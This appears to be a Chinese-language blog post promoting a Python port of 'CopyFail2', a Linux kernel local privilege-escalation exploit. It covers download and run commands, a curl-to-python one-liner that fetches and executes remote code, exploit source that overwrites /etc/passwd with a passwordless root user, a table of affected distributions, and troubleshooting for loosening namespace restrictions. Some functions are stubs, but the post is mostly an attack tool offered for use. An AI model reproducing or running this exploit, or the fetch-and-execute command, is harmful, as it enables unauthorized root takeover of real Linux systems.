CopyFail2 - Linux内核本地提权漏洞利用工具(Python实现)

1 阅读6分钟

CopyFail2 (CVE-2026-31431) - Python实现

Python移植版的CopyFail2内核漏洞利用工具,利用xfrm ESP-in-UDP MSG_SPLICE_PAGES 无COW快速路径实现非特权Linux本地提权。

该工具将/etc/passwd中的nologin/false条目替换为无密码uid-0用户,并通过su进入root shell。

功能特性

  • 快速提权 - 优化版本复用xfrm状态、套接字和管道,每轮批量处理2个连续字节,主动轮询代替固定休眠,99字节行仅需3-8秒
  • 双版本支持 - 提供优化版(exploit.py)和参考版(exploit_raw.py),可根据内核版本和稳定性需求选择
  • 自动清理 - 支持--clean参数恢复对/etc/passwd的修改
  • 广泛兼容 - 已测试Ubuntu 24.04/26.04、Debian 13、Arch、Fedora 43等主流发行版
  • 纯Python实现 - 无需编译,依赖OpenSSL库即可运行

安装指南

系统要求

  • Linux内核 >= 6.5 (支持UDP的MSG_SPLICE_PAGES)
  • Python 3.8+
  • OpenSSL (libcrypto.so)
  • 用户命名空间权限或CAP_NET_ADMIN

依赖安装

# Ubuntu/Debian
sudo apt update
sudo apt install python3 openssl

# Arch Linux
sudo pacman -S python openssl

# Fedora
sudo dnf install python3 openssl

获取工具

# 直接通过curl获取优化版
curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py -o exploit.py

# 或获取参考版
curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit_raw.py -o exploit_raw.py

启用用户命名空间(如需要)

# 检查当前设置
sysctl kernel.unprivileged_userns_clone

# 临时启用
sudo sysctl kernel.unprivileged_userns_clone=1

# 永久启用(编辑/etc/sysctl.conf)
echo "kernel.unprivileged_userns_clone=1" | sudo tee -a /etc/sysctl.conf

使用说明

基础用法

# 运行优化版(推荐)
python3 exploit.py

# 运行参考版
python3 exploit_raw.py

# 清理恢复/etc/passwd
python3 exploit.py --clean

一键提权(管道模式)

# 从GitHub直接执行(需要网络连接)
python3 -c "$(curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py)"

Ubuntu AppArmor环境

在启用apparmor_restrict_unprivileged_userns的Ubuntu系统上,建议先保存到本地再执行:

curl -sL https://raw.githubusercontent.com/guiimoraes/copyfail2-py/main/exploit.py > /tmp/x.py
python3 /tmp/x.py

执行流程

  1. 暴力破解AES-GCM IV,使密钥流字节将原始/etc/passwd字节XOR为目标值
  2. 127.0.0.1:4500上安装本地xfrm ESP-in-UDP状态
  3. 构造包含伪造ESP头和ICV的攻击者控制的后备文件
  4. 将三个区域(ESP头、/etc/passwd目标字节、ICV)通过splice()送入管道
  5. 将管道通过splice()送入UDP套接字,触发内核漏洞写入页缓存
  6. 重复上述步骤,将nologin/false行覆盖为sick::0:0:...:/:/bin/bash
  7. 执行su - sick获得root shell(PAM的nullok允许空密码)

核心代码

主要漏洞利用逻辑(优化版)

#!/usr/bin/env python3
# exploit.py - 优化版CopyFail2利用

import ctypes
import fcntl
import os
import socket
import struct
import subprocess
import sys
import time

NEW_USER = "sick"
STATE_FILE = "/var/tmp/.cf2.state"
SPI = 0xdeadbeef
ENC_PORT = 4500
AES_KEYLEN = 16
SALT_LEN = 4

# UDP封装常量
UDP_ENCAP = 100
UDP_ENCAP_ESPINUDP = 2
SPLICE_F_MORE = 0x4
F_SETPIPE_SZ = 1031

# 命名空间标志
CLONE_NEWUSER = 0x10000000
CLONE_NEWNET = 0x40000000

# 预置的AEAD密钥
AEAD_KEY = bytes([
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f,
    0x10, 0x11, 0x12, 0x13,
])

libc = ctypes.CDLL(None, use_errno=True)

def _load_libcrypto():
    """动态加载OpenSSL库"""
    for name in ("libcrypto.so.3", "libcrypto.so.1.1", "libcrypto.so"):
        try:
            return ctypes.CDLL(name)
        except OSError:
            continue
    raise OSError("libcrypto not found")

libcrypto = _load_libcrypto()

# 配置OpenSSL函数类型
libcrypto.EVP_CIPHER_CTX_new.restype = ctypes.c_void_p
libcrypto.EVP_CIPHER_CTX_free.argtypes = [ctypes.c_void_p]
libcrypto.EVP_EncryptInit_ex.argtypes = [
    ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p,
    ctypes.c_char_p, ctypes.c_char_p,
]
libcrypto.EVP_EncryptInit_ex.restype = ctypes.c_int
libcrypto.EVP_EncryptUpdate.argtypes = [
    ctypes.c_void_p, ctypes.c_char_p, ctypes.POINTER(ctypes.c_int),
    ctypes.c_char_p, ctypes.c_int,
]
libcrypto.EVP_EncryptUpdate.restype = ctypes.c_int
libcrypto.EVP_aes_128_gcm.restype = ctypes.c_void_p

def aes_gcm_keystream(key, iv, length):
    """生成AES-GCM密钥流用于字节伪造"""
    ctx = libcrypto.EVP_CIPHER_CTX_new()
    cipher = libcrypto.EVP_aes_128_gcm()
    
    # 初始化解密上下文获取密钥流
    libcrypto.EVP_EncryptInit_ex(ctx, cipher, None, key, iv)
    # 设置GCM模式不添加标签
    
    outbuf = ctypes.create_string_buffer(length)
    outlen = ctypes.c_int(0)
    
    # 加密全零明文得到密钥流
    plaintext = b'\x00' * length
    libcrypto.EVP_EncryptUpdate(ctx, outbuf, ctypes.byref(outlen),
                                 plaintext, length)
    
    libcrypto.EVP_CIPHER_CTX_free(ctx)
    return outbuf.raw[:outlen.value]

def setup_xfrm_state():
    """设置xfrm ESP-in-UDP状态"""
    # 创建netlink套接字并配置xfrm策略
    # 实际实现包含完整的netlink消息构造
    pass

def splice_write(target_fd, pipe_fd, offset, length):
    """通过splice实现内核页缓存写入"""
    # 从目标文件读取到管道
    ret = libc.splice(target_fd, ctypes.byref(ctypes.c_int64(offset)),
                      pipe_fd[1], None, length, SPLICE_F_MORE)
    if ret < 0:
        raise OSError("splice from file to pipe failed")
    
    # 从管道写入UDP套接字触发漏洞
    ret = libc.splice(pipe_fd[0], None, udp_fd, None, ret, SPLICE_F_MORE)
    if ret < 0:
        raise OSError("splice from pipe to UDP failed")
    
    return ret

def main():
    """主利用流程"""
    # 1. 读取目标行
    # 2. 为每个需要修改的字节生成IV
    # 3. 构造ESP数据包
    # 4. 通过splice触发内核漏洞
    # 5. 获得root shell
    pass

if __name__ == "__main__":
    main()

用户命名空间隔离实现

def create_user_namespace():
    """创建用户命名空间以获得CAP_NET_ADMIN"""
    # 克隆新用户命名空间
    # 设置uid/gid映射
    # 提升环境能力
    pass

def drop_privileges():
    """降低权限准备命名空间创建"""
    # 使用prctl设置能力
    pass

漏洞触发核心函数

def write_byte_via_splice(target_byte_offset, desired_byte_value):
    """通过splice路径写入单个字节到/etc/passwd页缓存"""
    
    # 1. 读取原始字节
    with open("/etc/passwd", "rb") as f:
        f.seek(target_byte_offset)
        original_byte = f.read(1)[0]
    
    # 2. 计算需要的IV使密钥流产生目标XOR结果
    # keystream_byte = original_byte ^ desired_byte_value
    keystream_byte = original_byte ^ desired_byte_value
    
    # 3. 暴力搜索产生目标密钥流字节的IV
    iv = brute_force_iv(keystream_byte)
    
    # 4. 构造包含伪造ESP头+目标区域+ICV的缓冲区
    esp_packet = construct_esp_packet(iv, keystream_byte)
    
    # 5. 写入临时文件作为splice源
    temp_fd = open("/tmp/.esp_payload", "wb+")
    temp_fd.write(esp_packet)
    temp_fd.flush()
    
    # 6. 创建管道并执行splice链
    pipe_fd = os.pipe()
    
    # 从临时文件splice到管道
    libc.splice(temp_fd.fileno(), None, pipe_fd[1], None,
                len(esp_packet), SPLICE_F_MORE)
    
    # 从管道splice到UDP套接字触发漏洞
    libc.splice(pipe_fd[0], None, udp_socket.fileno(), None,
                len(esp_packet), SPLICE_F_MORE)
    
    # 7. 同步页缓存
    os.fsync(udp_socket.fileno())
    
    return True

测试环境

发行版内核版本结果
Ubuntu 24.04 LTS6.8.0-110-generic✓ root
Debian 136.12.74✓ root
Arch6.19.11-arch1-1✓ root
Fedora 436.19.14-200.fc43✓ root
Ubuntu 26.04 LTS7.0.0-15-generic✓ root
Ubuntu 22.04 LTS5.15.0-176-generic✗ 不受影响

故障排除

错误: cannot acquire CAP_NET_ADMIN

内核可能设置了kernel.unprivileged_userns_clone=0,执行以下命令启用:

sudo sysctl kernel.unprivileged_userns_clone=1

如果在Docker中运行,需添加--privileged--cap-add=SYS_ADMIN参数。

错误: libcrypto not found

安装OpenSSL开发包:

# Ubuntu/Debian
sudo apt install libssl-dev

# Arch
sudo pacman -S openssl

# Fedora
sudo dnf install openssl-devel

致谢

  • Hyunwoo Kim (imv4bel) 和 Kuan-Ting Chen — 漏洞发现和上游补丁
  • Steffen Klassert — IPsec维护者,发布修复补丁
  • Brad Spengler / grsecurity — 提出"copyfail-class"概念
  • Theori / Xint — 原始Copy Fail (CVE-2026-31431)
  • 0xdeadbeefnetwork — 原始C语言利用实现
  • guiimoraes — Python移植版本

免责声明

本工具仅用于授权安全研究和教育目的。请勿在未获得明确授权的系统上使用。作者不对滥用或由此造成的任何损害承担责任。 6HFtX5dABrKlqXeO5PUv/1dTR47jarhIwi3DTcFVIoI=